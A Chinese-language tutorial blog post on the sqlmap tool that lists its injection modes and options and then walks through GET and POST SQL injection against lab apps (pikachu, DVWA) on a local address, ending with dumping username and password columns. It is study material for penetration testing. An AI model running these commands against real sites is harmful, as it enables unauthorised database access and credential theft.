sqlmap使用筆記


Sqlmap使用

sqlmap簡介

sqlmap支持五種不同的注入模式:

  • 1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
  • 2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
  • 3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
  • 4、聯合查詢注入,可以使用union的情況下的注入。
  • 5、堆查詢注入,可以同時執行多條語句的執行時的注入。

sqlmap詳細命令:

  • –is-dba 當前用戶權限(是否為root權限)
  • –dbs 所有數據庫
  • –current-db 網站當前數據庫
  • –users 所有數據庫用戶
  • –current-user 當前數據庫用戶
  • –random-agent 構造隨機user-agent
  • –passwords 數據庫密碼
  • –proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理
  • –time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)
  • --level=LEVEL       執行的測試級別(1-5, 默認 1)
  • --batch             永遠不要要求用戶輸入,使用默認行為
  • -u URL, --url=URL   目標為 URL (例如. "http://www.site.com/vuln.php?id=1")
  • -g GOOGLEDORK       將谷歌dork的結果作為目標url

Enumeration(枚舉):

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的SQL語句。

    • -b, –banner 檢索數據庫管理系統的標識
    • –current-user 檢索數據庫管理系統當前用戶
    • –current-db 檢索數據庫管理系統當前數據庫
    • –is-dba 檢測DBMS當前用戶是否DBA
    • –users 枚舉數據庫管理系統用戶
    • –passwords 枚舉數據庫管理系統用戶密碼哈希
    • –privileges 枚舉數據庫管理系統用戶的權限
    • –roles 枚舉數據庫管理系統用戶的角色
    • –dbs 枚舉數據庫管理系統數據庫
    • -D DBname 要進行枚舉的指定數據庫名
    • -T TBLname 要進行枚舉的指定數據庫表(如:-T tablename –columns)
    • –tables 枚舉的DBMS數據庫中的表
    • –columns 枚舉DBMS數據庫表列
    • –dump 轉儲數據庫管理系統的數據庫中的表項
    • –dump-all 轉儲所有的DBMS數據庫表中的條目
    • –search 搜索列(S),表(S)和/或數據庫名稱(S)
    • -C COL 要進行枚舉的數據庫列
    • -U USER 用來進行枚舉的數據庫用戶
    • –exclude-sysdbs 枚舉表時排除系統數據庫
    • –start=LIMITSTART 第一個查詢輸出進入檢索
    • –stop=LIMITSTOP 最后查詢的輸出進入檢索
    • –first=FIRSTCHAR 第一個查詢輸出字的字符檢索
    • –last=LASTCHAR 最后查詢的輸出字字符檢索
    • –sql-query=QUERY 要執行的SQL語句
    • –sql-shell 提示交互式SQL的shell

get型注入

0x00

對url檢測看是否存在注入

sqlmap.py -u "url" --batch

  --batch             永遠不要要求用戶輸入,使用默認行為

 

 

0x01

確認存在注入,指定數據庫類型暴庫

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch

結果如下:

 

 

0x02

枚舉指定數據庫中的表

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch

結果如下:

 

 

0x03

枚舉指定表中字段

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch

結果:

 

 

0x04

dump出password和username字段的數據

sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch

結果如下:

 

 到這就完了,更多參數自己嘗試

post型注入

0x00

首先用burpsuite抓包工具抓取要測試的目標站點包,再把請求包復制到sqlmap目錄下創建一個url.txt文件。

之后使用-r參數開始跑

sqlmap.py -r url.txt

 0x01

獲取到數據庫類型和注入類型之后開始暴庫

使用-dbs列出數據庫名

sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
指定數據庫類型為mysql,級別為3(共5級,級別越高,檢測越全面),-dbs列出數據庫名
得到結果如下:

 

 

 0x02

 枚舉指定數據庫中的表

這里演示枚舉dvwa庫中的表

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables

結果如下:

 

 

 0x03

接下來繼續枚舉表中的字段

這里演示users表

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns

結果如下:

 

 

 0x04

dump出password和user字段的數據

sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump

選項全部默認,結果如下:

 

 

到此就結束了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM